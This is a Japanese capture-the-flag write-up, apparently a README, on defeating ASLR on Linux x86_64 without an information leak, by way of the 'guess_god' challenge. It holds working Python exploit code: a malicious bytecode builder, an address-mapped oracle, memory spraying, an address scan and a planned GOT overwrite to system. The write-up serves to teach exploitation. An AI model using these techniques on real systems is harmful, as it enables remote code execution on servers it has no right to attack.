
ASLRバイパス(情報漏洩なし)
この記事では、Samuel Groß が自身の Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass で説明した手法を、Linux x86_64 上の ASLR をバイパスするために適用することについて説明します。
これを示すために、Buckeye CTF の pwnable チャレンジである guess_god を解いてみます。
このコンテンツはできるだけ初心者向けにしようと思います。十分に自信がある方は、任意のセクションをスキップして、エクスプロイトだけを見たい場合は遠慮なく飛ばしてください。

私はその CTF には参加しませんでしたが、CTF 終了の約2時間前に、fibonhack の Discord で暗号関連のゴタゴタについて助けを求めていた Guray00 のおかげで、このチャレンジに興味を持ちました。
彼を助けることはできませんでしたが、pwnable チャレンジを調べてみて、P0 のブログ記事を理解し、うまくいけば報奨金を得るのに良いだろうと考えました。
Address Space Layout Randomization(ASLR)は、プロセスのアドレス空間内にある実行ファイルのベースアドレスや、ライブラリ、ヒープ、スタックの位置をランダムに配置するコンピュータセキュリティ技術です。
Linux では、/proc/<pid>/maps ファイルを読むことで、procfs を介して、pid に基づくプロセスのマッピングを調べることができます。
自分自身のメモリマッピングを知りたい場合は、/proc/self/maps を読むことができます。
例えば、cat を使って /proc/self/maps を読んでみることができます:```
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps
55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat
55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat
55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat
55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat
55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat
55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap]
7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0
7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so
7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0
7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so
7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack]
7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar]
7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
### メモリマッピングのパターン
これを数回行うと、次のことが推測できるでしょう:
* バイナリのPIEベースは0x00005500_00000000〜0x00005700_00000000の範囲にあるはずです。つまり、2TBの候補アドレスがあります。
* ヒープはバイナリの近くにあります。
* ライブラリは0x00007f00_00000000〜0x00007fff_ffffffffの範囲にあり、1TBの候補アドレスがあります。
* スタックは(ほとんどの場合)0x00007ffc_00000000〜0x00007fff_ffffffffの範囲にあり、16GBの候補アドレスがあります。
* 範囲0xffffffffff600000〜0xffffffffff601000は常にマップされています。それが何か気になる場合は、[この記事](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso)を読んでください。
## 1.3 情報漏えい(infoleak)なしでASLRを回避する方法
情報漏えいが不可能な場合に、ASLRを回避するためにできることについて説明します。
これは、Saeloのブログ記事を読んで得た内容を要約しようという試みです。
ASLRを回避するには、次のものが必要です:
* メモリスプレー技術。指定したサイズの連続メモリを、指定したアドレス範囲にマップすることができます。
彼が言うように、これには2つの方法があります:
1. メモリリーク(情報漏えいではない!)を悪用する方法。メモリのチャンクが「忘れられ」て解放されないバグを、目的の量のメモリがリークするまで複数回トリガーします。
2. 「増幅ガジェット」を見つけて悪用する方法。既存のデータチャンクを取得してそれをコピーするコード(潜在的に複数回コピーする)で、攻撃者が比較的少数のバイトを送信するだけで大量のメモリをスプレーできるようにします。
* アドレスがマップされているかどうかを教えてくれる `isAddressMapped` オラクル。
### LinuxでのASLR回避のPoC
LinuxでASLRを完全に破壊するために、saeloのPoCを再現してみましょう。
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/93fcc6aff8ffd2e8395f34b35bc2f5d244e74a53b2fac39c3dae35c802227339.png" > <i> saeloのPoC</i> <p/> <br/>
Linuxではそれほど簡単ではありません。16TBのメモリを割り当てることができる場合にのみ、ASLRを完全に破壊することが可能です。```C
#include <stdio.h>
#include <stdlib.h>
int main()
{
// 64gb
size_t size = 0x1000000000;
// 16TB allocations
for (int i = 0; i < 256; i++) {
void *mem = malloc(size); // this ends up calling mmap
if (!mem) {
puts("Failed");
return 1;
}
printf("%p\n", mem);
}
unsigned int *mem = (void*)0x7f0000000000ULL;
*mem = 0x41414141;
printf("R/W to %p: %x\n", mem, *mem);
return 0;
}
man malloc の注意書きより:
したがって、void *mem = malloc(size) は最終的に mmap(size + malloc_metadata_size, ...) を呼び出すことになる。
ライブラリは ld によって mmap 経由でプロセスにマッピングされるため、それらの割り当てはライブラリの近くに配置されることになる。
malloc が返すアドレスを見れば、何が起きているのかをよりよく理解できる。プロのヒント: 最上位バイトに注目しよう。
このpocは、ある時点で返されるアドレスの最上位バイトが7Fから7Eに変わるという事実を利用している。そして、割り当ては連続しているため、その範囲内に何かが存在するに違いない。(そう、この問題を解くために Bolzano-Weirstress theorem を適用しているのだ!)
作者に感謝すべきことに、zipにはリモート環境と同じ環境を再現するためのバイナリ、ソースコード、dockerfileが含まれている。

環境についてある程度の知識を得ることは常に良いことだ。ファイルをざっと見て、いくつかメモを取ろう。
oatpp 1.2.5をビルドしてインストールしている。この特定のバージョンに有用なバグがあるかもしれない?
# Install oatpp
RUN git clone https://github.com/oatpp/oatpp.git
RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install
チャレンジをゼロからビルドしている
WORKDIR /home/ctf/challenge/src/
RUN mkdir -p src/build && cd src/build && cmake .. && make
RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/
これは問題になるかもしれないので、配布されたバイナリをコピーしよう。
COPY bins/flag_server-exe /home/ctf/challenge/
COPY bins/libkylezip.so /home/ctf/challenge/

docker-compose.ymlファイルが提供されているので、ローカルで動作する環境を用意して調べるのはまったく難しくない。Dockerに自信がない人のために、チャレンジをローカルで調べるために知っておくべきコマンドの一覧を以下に示す。```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container
docker ps # list containers docker exec -it # exec COMMAND into the container
`docker-compose build` を実行した後、`docker-compose up` を実行してコンテナを起動し、`nc 127.0.0.1 9000` でチャレンジに接続できます。
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2f6e0f8adeb34fa1c0360ac4f106a7e555e60d9526c2c2b68d18a88a2ebc2f5.png" ><br/> <i></i><p/>
# 3. ソースコード解析
ASLR をバイパスするために何をすべきかについて基本的な知識が得られたので、ソースコードを見てみましょう。念頭に置いておくべきことは次のとおりです:
* 既知のメモリ範囲にメモリをスプレーする方法
* isAddrMapped オラクル
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/9de53f68dfebca28be7f8106ec19adda12ee2ce47e6dbb8734519e466c0cbdd8.png" width="50%"><br/> <i> ソースコードフォルダ </i><p/>
そのほとんどは oatpp Web サーバーを起動・実行するためのグルーコードです。実際に解析する重要なファイルは次のとおりです:
* src/controller/MyController.*
* kylezip/decompress.*
## 3.1 MyController.*
<p align="center"> <img src="https://assets.kitploit.com/production/public/readmes/48660/d2a20d6b93582d4cc5e61eb373eb50ddcc8ac1576082ba5adc017d05d11138e4.png"><br/> <i>MyController.hpp</i><p/>
エンドポイントは3つあります:
* `/`
* `GET /files/{fileId}` -> 以前にアップロードしたファイルをダウンロードします。extract が true の場合は、ダウンロード前に展開します。
* `POST /upload/{fileId}` -> 指定された {fileId} でファイルをアップロードします。
そして、`MyController.cpp` に実装された関数が1つあります。```C
std::shared_ptr<oatpp::base::StrBuffer> MyController::get_file(int file_id, bool extract)
どちら:
to_open を {file_id} または {file_id}.unkyle に設定します ```C
std::ostringstream comp_fname;
comp_fname << filename;
if (extract) {
// Want the un-kylezip-d version
comp_fname << ".unkyle";
}
auto to_open = comp_fname.str();
初めて {file_id} の抽出をリクエストする場合は、それに対して decompress を呼び出し、
{file_id} の解凍済みファイルを {file_id}.unkyle に書き込みます。 ```C
int fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
if (!extract) return NULL;
/* Need to create decompressed version of file
* Kyle gave me a buggy library so we are going to fork
* in case we crash the web server will still stay up.
*/
pid_t p = fork();
if (p == 0) {
decompress(filename);
exit(0);
} else {
waitpid(p, NULL, 0);
}
fd = open(to_open.c_str(), O_RDONLY);
if (fd == -1) {
return NULL;
}
}
最後に、結果をメモリ上で mmap します。 ```C
struct stat sb;
fork() は、呼び出し元プロセスを複製して新しいプロセスを作成します。fork() の時点では、両方のメモリ空間の内容は同じです。
したがって、もし decompress() を以下のようなオラクルに変えることができれば:
そのプリミティブを使って、親プロセスのメモリ空間を推測できます。
親プロセスには mmap の呼び出しがあります: ```C
void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
もし sb.st_size(展開後のファイルのサイズ)を制御できるなら、これを簡単にメモリスプレー用のプリミティブに変えることができます。
int decompress(const char *fname)
* 入力ファイルをアドレス `0x42069000000` にマップする。
* 出力ファイルをアドレス `0x13371337000` にマップする。
* 解凍処理を行う do_decompress() を呼び出す。
ファイルは次の形式であることが期待されます:
| オフセット | 名前 | 型 | 説明 |
| - | - | - | - |
| +0h | magic | uint64 | マジック値。0x0123456789abcdef であることが期待される |
| +8h | filesize | uint64 | 解凍後のファイルサイズ |
### do_decompress()```C
static void do_decompress(char *out, char *in, size_t insize)
この関数は、in が指すバイトコードを実行し、out が指すバッファに出力を書き込む、単純な 仮想マシン と見なすことができます。
in は {file_id} を指します。
out は {file_id.unkyle} を指します。
この VM には 4 つのオペコードがあります:
0 -> NOP
1 -> STORE(u8 b)
b を out に書き込み、out を 1 だけインクリメントします。
オペコードの実装: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; }
2 -> SEEK(u64 off)
out を out + off に設定します。
out と off は64ビット値なので、out = out+off は out = (out+off) % MAX_64BIT_VALUE と同等です。これは 整数オーバーフロー と呼ばれ、この挙動を悪用して任意の64ビット値に到達できます。例: ```py
M64 = (1<<64) # Maximum 64bit value
def get_off(out: int, target: int):
return (target-out) % M64
オペコードの実装: ```C case 2: { // Seek uint64_t off = (uint64_t)(&in[cur]); cur += sizeof(off); out += off; break; }
* 3 -> LOAD(off, size).
`size` バイトを `out - off` から `out` にコピーし、`out` を 8 インクリメントする。
オペコードの実装: ```C
case 3: {
// Copy some previously written bytes
uint64_t off = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
uint64_t count = *(uint64_t*)(&in[cur]);
cur += sizeof(off);
memcpy(out, out-off, count);
out += count;
break;
}
どの操作にも境界チェックがないため、2つの有用なプリミティブが得られます:
SEEK+LOAD を悪用SEEK+STORE を悪用このコードを使用してバイトコードを構築しました:```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1
class CompressedFile(): slots = ['cur', 'content', 'out']
def __init__(self, filesize):
self.cur = 16
self.content = b''
self.content += p64(0x0123456789abcdef) # magic
self.content += p64(filesize) # file size
self.out = OUT_ADDR
def nop(self):
self.content += b'\x00'
self.cur += 1
def write(self, b: bytes):
assert len(b) == 1
self.content += b'\x01' + b
self.cur += 2
self.out += 1
def seek(self, off):
self.content += b'\x02'
self.content += p64(off)
self.cur += 9
def memcpy(self, off, count):
# memcpy(out, out-off, count);
self.content += b'\x03'
self.content += p64(off)
self.content += p64(count)
self.cur += 17
# 4. バイナリとの対話
エクスプロイトフェーズに飛び込む前に、バイナリと簡単に対話できるものを構築しておくのは常に良いことです。時間を無駄にしないためにも。```py
import requests
def uploadFile(blob: bytes, fileid: int):
assert (fileid < (1<<31) - 1)
multipart_form_data = {
'file': (f'payload_{fileid}', blob),
}
res = requests.post(
f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}",
files=multipart_form_data
)
return res
def getFile(fileid: int, extract="true"):
res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}")
return res
これはチャレンジを解く際に非常に重要でした。私は長い間、メモリマッピングをじっと見つめていました。
これを行うには、チャレンジのローカルインスタンスを起動し、いくつかの操作を行った後にプロセスのマップを読むことができます。

読み取り可能な位置に書き込めるプリミティブが与えられているので、isAddressMappedオラクルを構築するのはまったく難しくありません。
私のやり方は、このバイトコードを構築するというものでした:
memcpy(out, targetAddress, 1)write(b'A')targetAddressがマップされていない場合、子プログラムはmemcpyでセグメンテーションフォールトを起こし、nullバイトで埋められた展開ファイルが得られます。
targetAddressがマップされている場合、展開ファイルの2バイト目はb'\x41'になります。```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen)
# addr = OUT_ADDR - off
off = (OUT_ADDR - addr) & M64
# memcpy(toup.out, addr, 1)
toup.memcpy(off, 1)
# *(toup.out+1) = 0x41
toup.write(b'\x41')
uploadFile(toup.content, fileid)
res = getFile(fileid)
isMapped = res.content[1] == 0x41
return isMapped
## 4.3 メモリースプレープリミティブ
解凍後のファイルサイズを完全に制御でき、[MyController.cpp:62](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/dist-guess-god/src/src/controller/MyController.cpp#L62) でそのサイズの mmap を取得できます。
私のエクスプロイトでは `isAddrMapped` 関数を使用し、`filelen` を変更しました。
たとえば、サイズ = 0x4000000 = 64MB の連続したチャンクを割り当ててみましょう。```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
それが結果です:``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ...
もう一度試す場合:```py
isAddrMapped(IN_ADDR, 0, 0x4000000)
isAddrMapped(IN_ADDR, 0, 0x4000000)
それが結果です:``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
Nice! 複数のアロケーションに隙間がなくなります。
## 4.4 どのくらいのメモリをスプレーするか?
[このPoC](#poc-of-aslr-bypass-on-linux)からわかるように、連続してマッピングされるメモリの理想的なサイズは16TBです。
残念ながら、リモートサーバー上で16TBのメモリを割り当てようとすると、mmapは失敗します。なぜなら[nsjailがこれを制限している](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold)からです。
試行錯誤の結果、以下のコードで約3840MBのメモリをスプレーできることがわかりました。```py
size = 0x000004000000
for i in range(0, 60):
print ('.', end='')
isAddrMapped(IN_ADDR, i, size)
メモリマッピングの結果は次のようになります:
root@088ec31b2ce9:/home/ctf/challenge# cat /proc/pgrep flag_server-exe/maps
... My spray: ...
7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle
7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle
7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle
7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle
7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle
7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle
7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle
7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle
7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle
7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle
7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle
7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle
7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle
7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle
7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle
7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle
7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle
7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle
7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle
7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle
7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle
7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle
7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle
7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle
7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle
7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle
7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle
7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle
7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle
7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle
7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle
7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle
7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle
7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle
7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle
7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle
7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle
7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle
7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle
7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle
7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle
7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle
7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle
7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle
7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle
7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle
7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle
7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle
7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle
7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0
7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0
7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle
7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle
7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle
7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle
7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle
7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle
7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle
7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle
7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle
7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle
7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle
7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0
7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0
... Libraries: ...
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
...
メモリスプレーで作成されたアドレスに注目しましょう。 \(*.unkyle ファイル \)
[境界越えトリック](#Boundary-cross-trick) を適用してみましょう。
| mem | 4GB境界を越える?
| - |-
| 7fe2dc000000 | いいえ
| 7fe2e0000000 | いいえ
| 7fe2e4000000 | いいえ
| 7fe2e8000000 | いいえ
| 7fe2ec000000 | いいえ
| 7fe2f0000000 | いいえ
| 7fe2f4000000 | いいえ
| 7fe2f8000000 | いいえ
| 7fe2fc000000 | いいえ
| 7fe300000000 | はい
| 7fe304000000 | はい
| 7fe308000000 | はい
7fe2.. から 7fe3.. への変化を利用することで、0x100000000 = 4GB メモリのステップでメモリをスキャンできます。
## 4.5 ついにASLRを打ち破る
そのステップサイズがあれば、`start=0x7f0000000000` から `end=0x800000000000` まで、わずか `end - start / size` = 256 回のクエリでスキャンできます。```py
start = 0x7f0000000000
end = 0x800000000000
step = 0x100000000 # 4gb
isMapped = False
j = 0xff
while isMapped == False:
leakAddr = start + j*step
isMapped = (isAddrMapped(leakAddr, 1000 + j))
j -= 1
この時点で、leakAddr は次のようなマップされたアドレスになります: 0x7fXX00000000。このケースでは、leakAddr = 0x7fe300000000 です。
さて、saelo の手法に従いたい場合、下限と上限を見つけるために、範囲 0x7fXX00000000 - 0x7fXXffffffff の二分探索を行うべきです。問題は、その範囲にはいくつか穴があるため、二分探索が何度も失敗することです。
このスクリプトで自分で確認できます:``` RANGE SIZE
0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000
0x00007f763c000000 と 0x00007f763ccaa000 の間の小さなギャップはバイナリサーチを台無しにしますが、もちろんそれでも実行可能です。ただし、私はもっと簡単な方法を見つけました。
### 観察
最後にマップされたアドレスを取得したい。なぜなら、そこにライブラリがマップされているからです。
例えば、ライブラリに対して以下のマッピングが与えられたとします:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so
次のトリックでアドレス 7fe3d6a5b000 - 0x1000 を検索できます。
lastMappedPage = 0x7fe3d6a5a000
一度に半バイトずつブルートフォースするため、最悪のシナリオでは 165 = 80 クエリです。```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")
lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")
## 4.6 エクスプロイト
最後に、メモリマッピングについて必要なことはすべて分かりました。あとは、write-what-where プリミティブをコード実行に活用するだけです。
コード実行を達成するために、libkyle.so の `memcpy@got` エントリを `system@libc` で上書きしました。
### libkyle ベースを取得
幸運なことに、libc ベースと libkyle.so ベースは lastMappedPage から一定のオフセットにあります。当時はそのことに気づかなかったので、`\x7fELF` \(ELF 実行ファイルのヘッダ\) を探す egghunter を書きましたが、結局役に立ちませんでした。```py
# Scan backwards looking for b'\x7fELF'
i = 0
numElf = 0
while numElf != 2:
theAddr = lastMappedPage-0x1000*i
hdr = readFromAddr(theAddr, 4, 40500+i)
print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
if hdr == b'\x7fELF':
numElf += 1
print (f"found elf at {theAddr:#x}")
if i > 70:
print ("Exploit failed, upper bound address was wrong")
exit(1)
